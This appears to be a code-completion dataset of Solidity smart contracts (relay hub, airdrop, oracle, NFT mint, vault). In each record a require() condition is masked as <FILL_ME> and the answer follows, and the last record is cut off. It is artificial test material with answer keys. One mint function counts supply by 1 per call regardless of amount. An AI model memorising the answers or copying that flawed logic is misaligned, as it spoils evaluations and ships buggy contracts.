/// @inheritdoc IRelayHub
function getConfiguration() public override view returns (RelayHubConfig memory) {
}
/// @inheritdoc IRelayHub
function setConfiguration(RelayHubConfig memory _config) public override onlyOwner {
}
// maps ERC-20 token address to a minimum stake for it
mapping(IERC20 => uint256) internal minimumStakePerToken;
/// @inheritdoc IRelayHub
function setMinimumStakes(IERC20[] memory token, uint256[] memory minimumStake) public override onlyOwner {
}
// maps relay worker's address to its manager's address
mapping(address => address) internal workerToManager;
// maps relay managers to the number of their workers
mapping(address => uint256) internal workerCount;
mapping(address => uint256) internal balances;
uint256 internal immutable creationBlock;
uint256 internal deprecationTime = type(uint256).max;
constructor (
IStakeManager _stakeManager,
address _penalizer,
address _batchGateway,
address _relayRegistrar,
RelayHubConfig memory _config
) {
}
/// @inheritdoc IRelayHub
function getCreationBlock() external override virtual view returns (uint256){
}
/// @inheritdoc IRelayHub
function getDeprecationTime() external override view returns (uint256) {
}
/// @inheritdoc IRelayHub
function getStakeManager() external override view returns (IStakeManager) {
}
/// @inheritdoc IRelayHub
function getPenalizer() external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getBatchGateway() external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getRelayRegistrar() external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getMinimumStakePerToken(IERC20 token) external override view returns (uint256) {
}
/// @inheritdoc IRelayHub
function getWorkerManager(address worker) external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getWorkerCount(address manager) external override view returns (uint256) {
}
/// @inheritdoc IERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {
}
/// @inheritdoc IRelayHub
function onRelayServerRegistered(address relayManager) external override {
}
/// @inheritdoc IRelayHub
function addRelayWorkers(address[] calldata newRelayWorkers) external override {
}
/// @inheritdoc IRelayHub
function depositFor(address target) public virtual override payable {
}
/// @inheritdoc IRelayHub
function balanceOf(address target) external override view returns (uint256) {
}
/// @inheritdoc IRelayHub
function withdraw(address payable dest, uint256 amount) public override {
}
/// @inheritdoc IRelayHub
function withdrawMultiple(address payable[] memory dest, uint256[] memory amount) public override {
}
function verifyGasAndDataLimits(
uint256 maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
uint256 initialGasLeft
)
private
view
returns (IPaymaster.GasAndDataLimits memory gasAndDataLimits, uint256 maxPossibleGas) {
}
struct RelayCallData {
bool success;
bytes4 functionSelector;
uint256 initialGasLeft;
bytes recipientContext;
bytes relayedCallReturnValue;
IPaymaster.GasAndDataLimits gasAndDataLimits;
RelayCallStatus status;
uint256 innerGasUsed;
uint256 maxPossibleGas;
uint256 innerGasLimit;
uint256 gasBeforeInner;
uint256 gasUsed;
uint256 devCharge;
bytes retData;
address relayManager;
bytes32 relayRequestId;
uint256 tmpInitialGas;
bytes relayCallStatus;
}
/// @inheritdoc IRelayHub
function relayCall(
string calldata domainSeparatorName,
uint256 maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData
)
external
override
returns (
bool paymasterAccepted,
uint256 charge,
IRelayHub.RelayCallStatus status,
bytes memory returnValue)
{
RelayCallData memory vars;
vars.initialGasLeft = aggregateGasleft();
vars.relayRequestId = GsnUtils.getRelayRequestID(relayRequest, signature);
require(<FILL_ME>)
vars.functionSelector = relayRequest.request.data.length>=4 ? MinLibBytes.readBytes4(relayRequest.request.data, 0) : bytes4(0);
if (msg.sender != batchGateway && tx.origin != DRY_RUN_ADDRESS) {
require(signature.length != 0, "missing signature or bad gateway");
require(msg.sender == tx.origin, "relay worker must be EOA");
require(msg.sender == relayRequest.relayData.relayWorker, "Not a right worker");
}
if (tx.origin != DRY_RUN_ADDRESS) {
vars.relayManager = workerToManager[relayRequest.relayData.relayWorker];
require(vars.relayManager != address(0), "Unknown relay worker");
verifyRelayManagerStaked(vars.relayManager);
}
(vars.gasAndDataLimits, vars.maxPossibleGas) =
verifyGasAndDataLimits(maxAcceptanceBudget, relayRequest, vars.initialGasLeft);
RelayHubValidator.verifyTransactionPacking(domainSeparatorName,relayRequest,signature,approvalData);
{
//How much gas to pass down to innerRelayCall. must be lower than the default 63/64
// actually, min(gasleft*63/64, gasleft-GAS_RESERVE) might be enough.
vars.innerGasLimit = gasleft()*63/64- config.gasReserve;
vars.gasBeforeInner = aggregateGasleft();
/*
Preparing to calculate "gasUseWithoutPost":
MPG = calldataGasUsage + vars.initialGasLeft :: max possible gas, an approximate gas limit for the current transaction
GU1 = MPG - gasleft(called right before innerRelayCall) :: gas actually used by current transaction until that point
GU2 = innerGasLimit - gasleft(called inside the innerRelayCall just before preRelayedCall) :: gas actually used by innerRelayCall before calling postRelayCall
GWP1 = GU1 + GU2 :: gas actually used by the entire transaction before calling postRelayCall
TGO = config.gasOverhead + config.postOverhead :: extra that will be added to the charge to cover hidden costs
GWP = GWP1 + TGO :: transaction "gas used without postRelayCall"
*/
vars.tmpInitialGas = relayRequest.relayData.transactionCalldataGasUsed + vars.initialGasLeft + vars.innerGasLimit + config.gasOverhead + config.postOverhead;
// Calls to the recipient are performed atomically inside an inner transaction which may revert in case of
// errors in the recipient. In either case (revert or regular execution) the return data encodes the
// RelayCallStatus value.
(vars.success, vars.relayCallStatus) = address(this).call{gas:vars.innerGasLimit}(
abi.encodeWithSelector(RelayHub.innerRelayCall.selector, domainSeparatorName, relayRequest, signature, approvalData, vars.gasAndDataLimits,
vars.tmpInitialGas - aggregateGasleft(), /* totalInitialGas */
vars.maxPossibleGas
)
);
vars.innerGasUsed = vars.gasBeforeInner-aggregateGasleft();
(vars.status, vars.relayedCallReturnValue) = abi.decode(vars.relayCallStatus, (RelayCallStatus, bytes));
if ( vars.relayedCallReturnValue.length>0 ) {
emit TransactionResult(vars.status, vars.relayedCallReturnValue);
}
}
{
if (!vars.success) {
//Failure cases where the PM doesn't pay
if (vars.status == RelayCallStatus.RejectedByPreRelayed ||
(vars.innerGasUsed <= vars.gasAndDataLimits.acceptanceBudget + relayRequest.relayData.transactionCalldataGasUsed) && (
vars.status == RelayCallStatus.RejectedByForwarder ||
vars.status == RelayCallStatus.RejectedByRecipientRevert //can only be thrown if rejectOnRecipientRevert==true
)) {
emit TransactionRejectedByPaymaster(
vars.relayManager,
relayRequest.relayData.paymaster,
vars.relayRequestId,
relayRequest.request.from,
relayRequest.request.to,
msg.sender,
vars.functionSelector,
vars.innerGasUsed,
vars.relayedCallReturnValue);
return (false, 0, vars.status, vars.relayedCallReturnValue);
}
}
// We now perform the actual charge calculation, based on the measured gas used
vars.gasUsed = relayRequest.relayData.transactionCalldataGasUsed + (vars.initialGasLeft - aggregateGasleft()) + config.gasOverhead;
charge = calculateCharge(vars.gasUsed, relayRequest.relayData);
vars.devCharge = calculateDevCharge(charge);
balances[relayRequest.relayData.paymaster] = balances[relayRequest.relayData.paymaster] - charge;
balances[vars.relayManager] = balances[vars.relayManager] + (charge - vars.devCharge);
if (vars.devCharge > 0) { // save some gas in case of zero dev charge
balances[config.devAddress] = balances[config.devAddress] + vars.devCharge;
}
{
address from = relayRequest.request.from;
address to = relayRequest.request.to;
address paymaster = relayRequest.relayData.paymaster;
emit TransactionRelayed(
vars.relayManager,
msg.sender,
vars.relayRequestId,
from,
to,
paymaster,
vars.functionSelector,
vars.status,
charge);
}
// avoid variable size memory copying after gas calculation completed on-chain
if (tx.origin == DRY_RUN_ADDRESS) {
return (true, charge, vars.status, vars.relayedCallReturnValue);
}
return (true, charge, vars.status, "");
}
}
struct InnerRelayCallData {
uint256 initialGasLeft;
uint256 gasUsedToCallInner;
uint256 balanceBefore;
bytes32 preReturnValue;
bool relayedCallSuccess;
bytes relayedCallReturnValue;
bytes recipientContext;
bytes data;
bool rejectOnRecipientRevert;
}
/**
* @notice This method can only by called by this `RelayHub`.
* It wraps the execution of the `RelayRequest` in a revertable frame context.
*/
function innerRelayCall(
string calldata domainSeparatorName,
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
IPaymaster.GasAndDataLimits calldata gasAndDataLimits,
uint256 totalInitialGas,
uint256 maxPossibleGas
)
external
returns (RelayCallStatus, bytes memory)
{
}
/**
* @dev Reverts the transaction with return data set to the ABI encoding of the status argument (and revert reason data)
*/
function revertWithStatus(RelayCallStatus status, bytes memory ret) private pure {
}
/// @inheritdoc IRelayHub
function calculateDevCharge(uint256 charge) public override virtual view returns (uint256){
}
/// @inheritdoc IRelayHub
function calculateCharge(uint256 gasUsed, GsnTypes.RelayData calldata relayData) public override virtual view returns (uint256) {
}
/// @inheritdoc IRelayHub
function verifyRelayManagerStaked(address relayManager) public override view {
}
/// @inheritdoc IRelayHub
function deprecateHub(uint256 _deprecationTime) public override onlyOwner {
}
/// @inheritdoc IRelayHub
function isDeprecated() public override view returns (bool) {
}
/// @notice Prevents any address other than the `Penalizer` from calling this method.
modifier penalizerOnly () {
}
/// @inheritdoc IRelayHub
function penalize(address relayWorker, address payable beneficiary) external override penalizerOnly {
}
/// @inheritdoc IRelayHub
function isRelayEscheatable(address relayManager) public view override returns (bool){
}
/// @inheritdoc IRelayHub
function escheatAbandonedRelayBalance(address relayManager) external override onlyOwner {
}
/// @inheritdoc IRelayHub
function aggregateGasleft() public override virtual view returns (uint256){
}
}
| !isDeprecated(),"hub deprecated" | 432,645 | !isDeprecated() |
"relay server not escheatable yet" | pragma solidity ^0.8.0;
pragma abicoder v2;
/* solhint-disable avoid-low-level-calls */
/* solhint-disable no-inline-assembly */
/* solhint-disable not-rely-on-time */
/* solhint-disable avoid-tx-origin */
/* solhint-disable bracket-align */
// SPDX-License-Identifier: GPL-3.0-only
import "./utils/MinLibBytes.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./utils/GsnUtils.sol";
import "./utils/GsnEip712Library.sol";
import "./utils/RelayHubValidator.sol";
import "./utils/GsnTypes.sol";
import "./interfaces/IRelayHub.sol";
import "./interfaces/IPaymaster.sol";
import "./forwarder/IForwarder.sol";
import "./interfaces/IStakeManager.sol";
import "./interfaces/IRelayRegistrar.sol";
import "./interfaces/IStakeManager.sol";
/**
* @title The RelayHub Implementation
* @notice This contract implements the `IRelayHub` interface for the EVM-compatible networks.
*/
contract RelayHub is IRelayHub, Ownable, ERC165 {
using ERC165Checker for address;
using Address for address;
address private constant DRY_RUN_ADDRESS = 0x0000000000000000000000000000000000000000;
/// @inheritdoc IRelayHub
function versionHub() override virtual public pure returns (string memory){
}
IStakeManager internal immutable stakeManager;
address internal immutable penalizer;
address internal immutable batchGateway;
address internal immutable relayRegistrar;
RelayHubConfig internal config;
/// @inheritdoc IRelayHub
function getConfiguration() public override view returns (RelayHubConfig memory) {
}
/// @inheritdoc IRelayHub
function setConfiguration(RelayHubConfig memory _config) public override onlyOwner {
}
// maps ERC-20 token address to a minimum stake for it
mapping(IERC20 => uint256) internal minimumStakePerToken;
/// @inheritdoc IRelayHub
function setMinimumStakes(IERC20[] memory token, uint256[] memory minimumStake) public override onlyOwner {
}
// maps relay worker's address to its manager's address
mapping(address => address) internal workerToManager;
// maps relay managers to the number of their workers
mapping(address => uint256) internal workerCount;
mapping(address => uint256) internal balances;
uint256 internal immutable creationBlock;
uint256 internal deprecationTime = type(uint256).max;
constructor (
IStakeManager _stakeManager,
address _penalizer,
address _batchGateway,
address _relayRegistrar,
RelayHubConfig memory _config
) {
}
/// @inheritdoc IRelayHub
function getCreationBlock() external override virtual view returns (uint256){
}
/// @inheritdoc IRelayHub
function getDeprecationTime() external override view returns (uint256) {
}
/// @inheritdoc IRelayHub
function getStakeManager() external override view returns (IStakeManager) {
}
/// @inheritdoc IRelayHub
function getPenalizer() external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getBatchGateway() external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getRelayRegistrar() external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getMinimumStakePerToken(IERC20 token) external override view returns (uint256) {
}
/// @inheritdoc IRelayHub
function getWorkerManager(address worker) external override view returns (address) {
}
/// @inheritdoc IRelayHub
function getWorkerCount(address manager) external override view returns (uint256) {
}
/// @inheritdoc IERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {
}
/// @inheritdoc IRelayHub
function onRelayServerRegistered(address relayManager) external override {
}
/// @inheritdoc IRelayHub
function addRelayWorkers(address[] calldata newRelayWorkers) external override {
}
/// @inheritdoc IRelayHub
function depositFor(address target) public virtual override payable {
}
/// @inheritdoc IRelayHub
function balanceOf(address target) external override view returns (uint256) {
}
/// @inheritdoc IRelayHub
function withdraw(address payable dest, uint256 amount) public override {
}
/// @inheritdoc IRelayHub
function withdrawMultiple(address payable[] memory dest, uint256[] memory amount) public override {
}
function verifyGasAndDataLimits(
uint256 maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
uint256 initialGasLeft
)
private
view
returns (IPaymaster.GasAndDataLimits memory gasAndDataLimits, uint256 maxPossibleGas) {
}
struct RelayCallData {
bool success;
bytes4 functionSelector;
uint256 initialGasLeft;
bytes recipientContext;
bytes relayedCallReturnValue;
IPaymaster.GasAndDataLimits gasAndDataLimits;
RelayCallStatus status;
uint256 innerGasUsed;
uint256 maxPossibleGas;
uint256 innerGasLimit;
uint256 gasBeforeInner;
uint256 gasUsed;
uint256 devCharge;
bytes retData;
address relayManager;
bytes32 relayRequestId;
uint256 tmpInitialGas;
bytes relayCallStatus;
}
/// @inheritdoc IRelayHub
function relayCall(
string calldata domainSeparatorName,
uint256 maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData
)
external
override
returns (
bool paymasterAccepted,
uint256 charge,
IRelayHub.RelayCallStatus status,
bytes memory returnValue)
{
}
struct InnerRelayCallData {
uint256 initialGasLeft;
uint256 gasUsedToCallInner;
uint256 balanceBefore;
bytes32 preReturnValue;
bool relayedCallSuccess;
bytes relayedCallReturnValue;
bytes recipientContext;
bytes data;
bool rejectOnRecipientRevert;
}
/**
* @notice This method can only by called by this `RelayHub`.
* It wraps the execution of the `RelayRequest` in a revertable frame context.
*/
function innerRelayCall(
string calldata domainSeparatorName,
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
IPaymaster.GasAndDataLimits calldata gasAndDataLimits,
uint256 totalInitialGas,
uint256 maxPossibleGas
)
external
returns (RelayCallStatus, bytes memory)
{
}
/**
* @dev Reverts the transaction with return data set to the ABI encoding of the status argument (and revert reason data)
*/
function revertWithStatus(RelayCallStatus status, bytes memory ret) private pure {
}
/// @inheritdoc IRelayHub
function calculateDevCharge(uint256 charge) public override virtual view returns (uint256){
}
/// @inheritdoc IRelayHub
function calculateCharge(uint256 gasUsed, GsnTypes.RelayData calldata relayData) public override virtual view returns (uint256) {
}
/// @inheritdoc IRelayHub
function verifyRelayManagerStaked(address relayManager) public override view {
}
/// @inheritdoc IRelayHub
function deprecateHub(uint256 _deprecationTime) public override onlyOwner {
}
/// @inheritdoc IRelayHub
function isDeprecated() public override view returns (bool) {
}
/// @notice Prevents any address other than the `Penalizer` from calling this method.
modifier penalizerOnly () {
}
/// @inheritdoc IRelayHub
function penalize(address relayWorker, address payable beneficiary) external override penalizerOnly {
}
/// @inheritdoc IRelayHub
function isRelayEscheatable(address relayManager) public view override returns (bool){
}
/// @inheritdoc IRelayHub
function escheatAbandonedRelayBalance(address relayManager) external override onlyOwner {
require(<FILL_ME>)
uint256 balance = balances[relayManager];
balances[relayManager] = 0;
balances[config.devAddress] = balances[config.devAddress] + balance;
emit AbandonedRelayManagerBalanceEscheated(relayManager, balance);
}
/// @inheritdoc IRelayHub
function aggregateGasleft() public override virtual view returns (uint256){
}
}
| stakeManager.isRelayEscheatable(relayManager),"relay server not escheatable yet" | 432,645 | stakeManager.isRelayEscheatable(relayManager) |
"Already Claimed!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract ClayDistributor {
using SafeERC20 for IERC20;
address public immutable token;
bytes32 public immutable merkleRoot;
uint256 public immutable dropAmount;
mapping(address => bool) public isClaimed;
constructor(address token_, bytes32 merkleRoot_, uint256 dropAmount_) {
}
event Claimed(address indexed user);
function claim(bytes32[] calldata merkleProof) public {
require(<FILL_ME>)
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"Invalid Proof!"
);
// Mark it claimed and send the token.
isClaimed[msg.sender] = true;
IERC20(token).safeTransfer(msg.sender, dropAmount);
emit Claimed(msg.sender);
}
}
| isClaimed[msg.sender]==false,"Already Claimed!" | 432,673 | isClaimed[msg.sender]==false |
"getChainLinkPrice: Address not part of Chainlink token list" | pragma solidity 0.8.17;
contract SafuuXSacrificeETHonly is Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter public nextSacrificeId;
address payable public safuuWallet;
address payable public serviceWallet;
bool public isSacrificeActive;
uint256 public totalSacrifice;
struct sacrifice {
uint256 id;
string tokenSymbol;
address accountAddress;
uint256 tokenAmount;
uint256 tokenPriceUSD;
uint256 timestamp;
string status;
}
mapping(uint256 => sacrifice) public Sacrifice;
mapping(string => uint256) public totalSacrificeAmount;
mapping(address => uint256) public ETHDeposit;
mapping(address => mapping(string => uint256[])) private AccountDeposits;
mapping(string => address) public AllowedTokens;
mapping(string => uint256) public TokenDecimals;
mapping(string => address) public ChainlinkContracts;
mapping(uint256 => string) public SacrificeStatus;
event ETHDeposited(
string indexed symbol,
address indexed accountAddress,
uint256 amount
);
constructor(address payable _safuuWallet, address payable _serviceWallet) {
}
function depositETH() external payable nonReentrant returns (uint256){
}
function _createNewSacrifice(
string memory _symbol,
address _account,
uint256 _amount,
uint256 _priceUSD,
uint256 _timestamp,
string memory _status
) internal {
}
function updateSacrificeData(
uint256 sacrificeId,
uint256 _status,
address _account,
uint256 _amount,
uint256 _priceUSD,
uint256 _timestamp
) external onlyOwner {
}
function setAllowedTokens(string memory _symbol, address _tokenAddress)
public
onlyOwner
{
}
function setTokenDecimals(string memory _symbol, uint256 _decimals)
public
onlyOwner
{
}
function setChainlink(string memory _symbol, address _tokenAddress)
public
onlyOwner
{
}
function setSacrificeStatus(bool _isActive) external onlyOwner {
}
function setSafuuWallet(address payable _safuuWallet) external onlyOwner {
}
function setServiceWallet(address payable _serviceWallet) external onlyOwner {
}
function setTotalSacrifice(uint256 _totalSacrificeUSD) external onlyOwner {
}
function recoverETH() external onlyOwner {
}
function recoverERC20(IERC20 tokenContract, address to) external onlyOwner {
}
function getCurrentSacrificeID() external view returns (uint256) {
}
function getAccountDeposits(address _account, string memory _symbol)
public
view
returns (uint256[] memory)
{
}
function getChainLinkPrice(address contractAddress)
public
view
returns (uint256)
{
}
function getPriceBySymbol(string memory _symbol)
public
view
returns (uint256)
{
require(<FILL_ME>)
return getChainLinkPrice(ChainlinkContracts[_symbol]);
}
function _init() internal {
}
}
| ChainlinkContracts[_symbol]!=address(0),"getChainLinkPrice: Address not part of Chainlink token list" | 432,724 | ChainlinkContracts[_symbol]!=address(0) |
"You already have a 1000s Water" | // SPDX-License-Identifier: MIT
/*
____ _____ _ __ ______ __
/ _/___ / __(_)___ (_) /____ / ____/_ _______/ /__
/ // __ \/ /_/ / __ \/ / __/ _ \ / / / / / / ___/ / _ \
_/ // / / / __/ / / / / / /_/ __/ / /___/ /_/ / /__/ / __/
/___/_/ /_/_/ /_/_/ /_/_/\__/\___/ \____/\__, /\___/_/\___/
/____/
@creator: @claramemNFT
@security: [email protected]
@website: https://infinitecycle.xyz
*/
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract InfiniteCycle is ERC1155, Ownable {
using SafeMath for uint256;
mapping(uint256 => string) public tokenURI;
mapping(uint256 => uint256) public tokenSupply;
mapping(address => uint256) public accountBalances;
mapping(uint256 => address) public accountIndex;
// Token details
uint8 public constant WATER = 0;
uint256 public totalHolders;
// token mint price
uint256 public mintRate = 0.007 ether;
// token maks supply
uint256 public supplies = 100000;
bool public isWaterMintEnabled;
string public name;
string public symbol;
constructor()
ERC1155(
"https://gateway.pinata.cloud/ipfs/QmVEoaBqmyzxVWg9ZsjdkzN2wSpVxdyQLh7qsHxrv2NYbh/{id}.json"
)
{
}
// mint water
function mintWater(uint256 amount) public payable {
require(isWaterMintEnabled, "Mint is not started");
require(amount <= 100, "You can only buy 100s WATER");
require(<FILL_ME>)
require(msg.value >= (amount * mintRate), "Not enough ether sent");
require(
tokenSupply[WATER] + amount <= supplies,
"Not enought supply left"
);
tokenSupply[WATER] = tokenSupply[WATER]+ 1;
if (accountBalances[msg.sender] == 0) {
accountIndex[totalHolders] = msg.sender;
totalHolders = totalHolders + 1;
}
accountBalances[msg.sender] = accountBalances[msg.sender].add(amount);
_mint(msg.sender, WATER, amount, "");
}
function burnWater(address _address)
public
onlyOwner
returns (uint256 _burnAmount)
{
}
function burnBatch() public onlyOwner {
}
function setURI(uint256 _id, string memory _uri) external onlyOwner {
}
function uri(uint256 _id) public view override returns (string memory) {
}
// toggle water mint
function setIsWaterMintEnabled() external onlyOwner {
}
// get current contract balances
function withdraw() public onlyOwner {
}
}
| balanceOf(msg.sender,WATER)+amount<=1000,"You already have a 1000s Water" | 432,751 | balanceOf(msg.sender,WATER)+amount<=1000 |
"Not enough ether sent" | // SPDX-License-Identifier: MIT
/*
____ _____ _ __ ______ __
/ _/___ / __(_)___ (_) /____ / ____/_ _______/ /__
/ // __ \/ /_/ / __ \/ / __/ _ \ / / / / / / ___/ / _ \
_/ // / / / __/ / / / / / /_/ __/ / /___/ /_/ / /__/ / __/
/___/_/ /_/_/ /_/_/ /_/_/\__/\___/ \____/\__, /\___/_/\___/
/____/
@creator: @claramemNFT
@security: [email protected]
@website: https://infinitecycle.xyz
*/
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract InfiniteCycle is ERC1155, Ownable {
using SafeMath for uint256;
mapping(uint256 => string) public tokenURI;
mapping(uint256 => uint256) public tokenSupply;
mapping(address => uint256) public accountBalances;
mapping(uint256 => address) public accountIndex;
// Token details
uint8 public constant WATER = 0;
uint256 public totalHolders;
// token mint price
uint256 public mintRate = 0.007 ether;
// token maks supply
uint256 public supplies = 100000;
bool public isWaterMintEnabled;
string public name;
string public symbol;
constructor()
ERC1155(
"https://gateway.pinata.cloud/ipfs/QmVEoaBqmyzxVWg9ZsjdkzN2wSpVxdyQLh7qsHxrv2NYbh/{id}.json"
)
{
}
// mint water
function mintWater(uint256 amount) public payable {
require(isWaterMintEnabled, "Mint is not started");
require(amount <= 100, "You can only buy 100s WATER");
require(
balanceOf(msg.sender, WATER) + amount <= 1000,
"You already have a 1000s Water"
);
require(<FILL_ME>)
require(
tokenSupply[WATER] + amount <= supplies,
"Not enought supply left"
);
tokenSupply[WATER] = tokenSupply[WATER]+ 1;
if (accountBalances[msg.sender] == 0) {
accountIndex[totalHolders] = msg.sender;
totalHolders = totalHolders + 1;
}
accountBalances[msg.sender] = accountBalances[msg.sender].add(amount);
_mint(msg.sender, WATER, amount, "");
}
function burnWater(address _address)
public
onlyOwner
returns (uint256 _burnAmount)
{
}
function burnBatch() public onlyOwner {
}
function setURI(uint256 _id, string memory _uri) external onlyOwner {
}
function uri(uint256 _id) public view override returns (string memory) {
}
// toggle water mint
function setIsWaterMintEnabled() external onlyOwner {
}
// get current contract balances
function withdraw() public onlyOwner {
}
}
| msg.value>=(amount*mintRate),"Not enough ether sent" | 432,751 | msg.value>=(amount*mintRate) |
"Not enought supply left" | // SPDX-License-Identifier: MIT
/*
____ _____ _ __ ______ __
/ _/___ / __(_)___ (_) /____ / ____/_ _______/ /__
/ // __ \/ /_/ / __ \/ / __/ _ \ / / / / / / ___/ / _ \
_/ // / / / __/ / / / / / /_/ __/ / /___/ /_/ / /__/ / __/
/___/_/ /_/_/ /_/_/ /_/_/\__/\___/ \____/\__, /\___/_/\___/
/____/
@creator: @claramemNFT
@security: [email protected]
@website: https://infinitecycle.xyz
*/
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract InfiniteCycle is ERC1155, Ownable {
using SafeMath for uint256;
mapping(uint256 => string) public tokenURI;
mapping(uint256 => uint256) public tokenSupply;
mapping(address => uint256) public accountBalances;
mapping(uint256 => address) public accountIndex;
// Token details
uint8 public constant WATER = 0;
uint256 public totalHolders;
// token mint price
uint256 public mintRate = 0.007 ether;
// token maks supply
uint256 public supplies = 100000;
bool public isWaterMintEnabled;
string public name;
string public symbol;
constructor()
ERC1155(
"https://gateway.pinata.cloud/ipfs/QmVEoaBqmyzxVWg9ZsjdkzN2wSpVxdyQLh7qsHxrv2NYbh/{id}.json"
)
{
}
// mint water
function mintWater(uint256 amount) public payable {
require(isWaterMintEnabled, "Mint is not started");
require(amount <= 100, "You can only buy 100s WATER");
require(
balanceOf(msg.sender, WATER) + amount <= 1000,
"You already have a 1000s Water"
);
require(msg.value >= (amount * mintRate), "Not enough ether sent");
require(<FILL_ME>)
tokenSupply[WATER] = tokenSupply[WATER]+ 1;
if (accountBalances[msg.sender] == 0) {
accountIndex[totalHolders] = msg.sender;
totalHolders = totalHolders + 1;
}
accountBalances[msg.sender] = accountBalances[msg.sender].add(amount);
_mint(msg.sender, WATER, amount, "");
}
function burnWater(address _address)
public
onlyOwner
returns (uint256 _burnAmount)
{
}
function burnBatch() public onlyOwner {
}
function setURI(uint256 _id, string memory _uri) external onlyOwner {
}
function uri(uint256 _id) public view override returns (string memory) {
}
// toggle water mint
function setIsWaterMintEnabled() external onlyOwner {
}
// get current contract balances
function withdraw() public onlyOwner {
}
}
| tokenSupply[WATER]+amount<=supplies,"Not enought supply left" | 432,751 | tokenSupply[WATER]+amount<=supplies |
"ERR_STALE_ORACLE" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "../interfaces/IUsdcOracle.sol";
contract UsdcOracle is IUsdcOracle, AccessControl {
/* ========== Constants ========== */
bytes32 public constant ORACLE_ADMIN = keccak256(abi.encode("ORACLE_ADMIN"));
IUsdcOracle public immutable preferredOracle;
address public immutable USDC;
/* ========== Storage ========== */
IUsdcOracle[] public fallbackOracles;
uint256 public staleOraclePeriod = 2 days;
mapping(address => bool) public paused;
/* ========== Constructor ========== */
constructor(address _preferredOracle, address _usdc) {
}
/* ========== External Functions ========== */
function tokenUsdcValue(address _token, uint256 _amount)
external
view
override
returns (uint256 usdcValue, uint256 oldestObservation)
{
if (_token == USDC) {
return (_amount, block.timestamp);
}
uint256 value;
uint256 observationTimestamp;
if (!paused[address(preferredOracle)]) {
try preferredOracle.tokenUsdcValue(_token, _amount)
returns (uint256 oracleValue, uint256 oracleTimestamp) {
value = oracleValue;
observationTimestamp = oracleTimestamp;
} catch {
value = 0;
observationTimestamp = 0;
}
if (observationTimestamp + staleOraclePeriod > block.timestamp) {
return (value, observationTimestamp);
}
}
usdcValue = 0;
uint256 observation = 0;
for (uint8 i = 0; i < fallbackOracles.length; i++) {
if (paused[address(address(fallbackOracles[i]))]) continue;
try fallbackOracles[i].tokenUsdcValue(_token, _amount)
returns (uint256 oracleValue, uint256 oracleTimestamp) {
value = oracleValue;
observationTimestamp = oracleTimestamp;
} catch {
value = 0;
observationTimestamp = 0;
}
if (observationTimestamp + staleOraclePeriod > block.timestamp && value > usdcValue) {
usdcValue = value;
observation = observationTimestamp;
}
}
require(<FILL_ME>)
return (usdcValue, observation);
}
function getPrice(address _base, address _quote) public view override
returns (uint256 price, uint256 oldestObservation) {
}
function canUpdateTokenPrices() external pure override returns (bool) {
}
function updateTokenPrices(address[] memory tokens) external returns (bool[] memory updates) {
}
/* =========== Admin functions ========= */
function setFallbackOracles(address[] memory _fallbackOracles) external onlyRole(ORACLE_ADMIN) {
}
function setStaleOraclePeriod(uint256 newStaleOraclePeriod) external onlyRole(ORACLE_ADMIN) {
}
function setPaused(address oracle, bool pausedState) external onlyRole(ORACLE_ADMIN) {
}
}
| observation+staleOraclePeriod>block.timestamp,"ERR_STALE_ORACLE" | 432,903 | observation+staleOraclePeriod>block.timestamp |
"Not enough USDC in the contract" | pragma solidity ^0.8.18;
contract Vault is OwnableUpgradeable {
using SafeERC20 for IERC20;
address public usdcAddress;
address public usdtAddress;
enum TokenType {
ETH,
USDC,
USDT
}
function initialize(
address _usdcAddress,
address _usdtAddress
) public initializer {
}
function deposit(TokenType tokenType, uint256 amount) external payable {
}
function withdraw(
TokenType tokenType,
address payable to,
uint256 amount
) external onlyOwner {
if (tokenType == TokenType.ETH) {
require(address(this).balance >= amount, "Not enough ETH");
to.transfer(amount);
} else if (tokenType == TokenType.USDC) {
require(<FILL_ME>)
IERC20(usdcAddress).safeTransfer(to, amount);
} else if (tokenType == TokenType.USDT) {
require(
IERC20(usdtAddress).balanceOf(address(this)) >= amount,
"Not enough USDT in the contract"
);
